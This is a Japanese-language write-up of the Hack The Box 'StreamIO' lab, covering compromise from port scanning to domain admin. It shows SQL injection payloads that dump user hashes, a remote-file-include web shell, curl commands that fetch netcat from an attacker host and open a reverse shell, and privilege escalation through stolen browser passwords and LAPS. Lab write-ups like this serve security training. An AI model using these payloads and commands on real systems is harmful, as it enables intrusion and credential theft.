目次
偵察/スキャン
nmapでスキャンします。
「nmap -p- 10.10.11.158」の結果よりいくつかのポートが開いていることが確認できます。
上記の結果を踏まえ、開いているポートに対してさらにnmapで調査を行います。
┌──(kali㉿kali)-[~/htb/streamio] └─$ sudo nmap -sC -sV -A -O -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49704,49730 10.10.11.158 -Pn Starting Nmap 7.94SVN ( https://nmap.org ) Nmap scan report for 10.10.11.158 Host is up (0.19s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-20 20:10:48Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | tls-alpn: |_ http/1.1 |_http-server-header: Microsoft-HTTPAPI/2.0 |_ssl-date: 2024-08-20T20:12:29+00:00; +7h00m01s from scanner time. |_http-title: Not Found | ssl-cert: Subject: commonName=streamIO/countryName=EU | Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb | Not valid before: 2022-02-22T07:03:28 |_Not valid after: 2022-03-24T07:03:28 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49704/tcp open msrpc Microsoft Windows RPC 49730/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (88%) Aggressive OS guesses: Microsoft Windows Server 2019 (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s | smb2-time: | date: 2024-08-20T20:11:47 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 182.61 ms 10.10.14.1 2 184.29 ms 10.10.11.158 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
各ポートについて、より詳細に確認していきます。
TCP/80の調査
ブラウザでアクセスしましたがコンテンツはありませんでした。
TCP/443の調査
ブラウザでアクセスすると以下のような画面が表示されます。
また、ログインができるようです。
現在はログイン情報を持っていません。
また、証明書から別のホスト名を確認できます。
アクセスすると以下のような画面が表示されます。
gobusterでsearch.phpが見つかります。
┌──(kali㉿kali)-[~/htb/streamio]
└─$ gobuster dir --url https://watch.streamio.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://watch.streamio.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/Index.php (Status: 200) [Size: 2829]
/Search.php (Status: 200) [Size: 253887]
/blocked.php (Status: 200) [Size: 677]
/favicon.ico (Status: 200) [Size: 1150]
/index.php (Status: 200) [Size: 2829]
/index.php (Status: 200) [Size: 2829]
/search.php (Status: 200) [Size: 253887]
/static (Status: 301) [Size: 157] [--> https://watch.streamio.htb/static/]
Progress: 9454 / 9454 (100.00%)
===============================================================
Finished
===============================================================
アクセスすると以下のような画面が表示されます。
このページではSQLiの脆弱性があります。
「test」を入力し検索すると以下の結果を得ます。
上記より、DBクエリが以下のようなものであることを推測します。
select * from movies where title like '%[input]%';
通常通り「man」を検索すると、「man」の前後に文字列がある結果が返されます。
SQLiに脆弱な場合、「man';– -」を入力すると「~man」で終わる結果が返されることが想定されます。
上記より、コメントが機能していることが確認でき、SQLiに脆弱であることが確認できます。
次にunionを試してみます。
列数を知るために、「a' union select 1;--」から徐々に数を増やし結果を確認します。「a' union select 1,2,3,4,5,6;--」で以下の結果となり、列数が6であることがわかります。
SQLのバージョンを確認します。
a' union select 1,@@version,3,4,5,6;--
次にテーブル情報を取得します。
a' union select 1,table_name,3,4,5,6 from information_schema.tables --
「movies」、「users」のテーブルの存在が確認できます。
「users」テーブルのカラムを取得してみます。
uwu' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name= 'users' --
「user」テーブルより「username」と「password」を取得します。
a' union select 1,concat(username,':',password),3,4,5,6 from users --
上記の結果を保存し、ユーザ名/パスワードに分けて解析に使用します。
上記の結果をawkで分割します。
cat hash | awk -F: '{print $2}' > password.txt
パスワードのファイルをhashcatで解析します。
上記アカウントのうち「yoshihide/66boysandgirls..」で先程のログインページでログインが可能です。
さらに/adminにもアクセスができます。
Admin panelにはGetリクエストのパラメータがあるようです。
パラメータを列挙します。
このページはログイン後のページなので現在のセッションIDを使用します。
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ' -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' --hh 1678
※--hhは無視するレスポンス長
上記より「debug」というパラメータを取得できます。
以下のリクエストで「master.php」を読み取ります。
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
上記の内容をデコードするとソースの内容が確認できます。
eval()関数は文字列をPHPコードとして実行するため、ユーザーからの入力がそのまま実行される可能性があります。その為、悪意のあるユーザーが任意のコードを実行することができます。
上記実証の為にtest.phpとして以下の内容を記載したファイルを作成します。
system($_GET['cmd']);
上記ファイルをホストした状態で以下のコマンドを実行すると、コマンドが動作することが確認できます。
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=dir' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'
アクセス取得
上記を使用してアクセスを取得します。
kaliでncをホストおよび待ち受けた状態で以下のコマンドを実行します。
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=curl+10.10.14.5:80/nc64.exe+-o+C:\Windows\Temp\nc.exe' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'
curl -X POST 'https://streamio.htb/admin/?debug=master.php&cmd=C:\Windows\Temp\nc.exe+10.10.14.5+4444+-e+cmd.exe' -k -b 'PHPSESSID=a47velorhkodvhmrji7vhsfdun' -d 'include=http://10.10.14.5:80/test.php'
「yoshihide」のシェルが取得できました。
yoshihideではuserフラグを取得できませんでした。
以下のコマンドよりDBにアクセスするための情報が確認できます。
上記の情報を使用してDBにアクセスしてみます。
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
複数ユーザ名とパスワードハッシュ値の組み合わせを取得できました。
hashcatで解析するとnikk37のアカウント情報が取得できます。
上記アカウントでEvi-WinRMを使用することでuserフラグを取得できます。
権限昇格
インストールされているプログラムの中にFirefoxがあります。
nikk37のプロファイルも確認できます。
Firepwdでパスワードを抽出します。
プロファイルから「key4.db」と「logins.json」をkaliにコピーしてFirepwdを使用するとSlack に保存されている 4 つのパスワードが見つかります。
上記の「JDgodd」のアカウントを使用してBloodhoundで情報を収集します。
bloodhound-python -c All -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb -dc streamio.htb --zip
Bloodhoudを起動しデータベースをクリアして上記のzipをアップロードします。
メモ:bloodhound初期化作業
bloodhound・・・Bloodhoundの起動
MATCH (n) DETACH DELETE n・・・データベースのクリア(RAW Query内)
JDgoddにはOUTBAOUND OBJECT CONTROL権限が1つあることがわかります。
さらにその先のCORESTAFFより、DCに対してローカル管理者のパスワード管理機能である「ReadLAPSPassword」が確認できます。
PowerView.ps1をアップロードし、JDgoddをCORESTAFFに追加します。
LDAPよりLAPSのパスワード(ms-MCS-AdmPwd)を取得できます。
上記のアカウント情報で再度Evil-WinRMでアクセスすることでSYSTEM権限を取得できました。
参考にさせていただいたサイト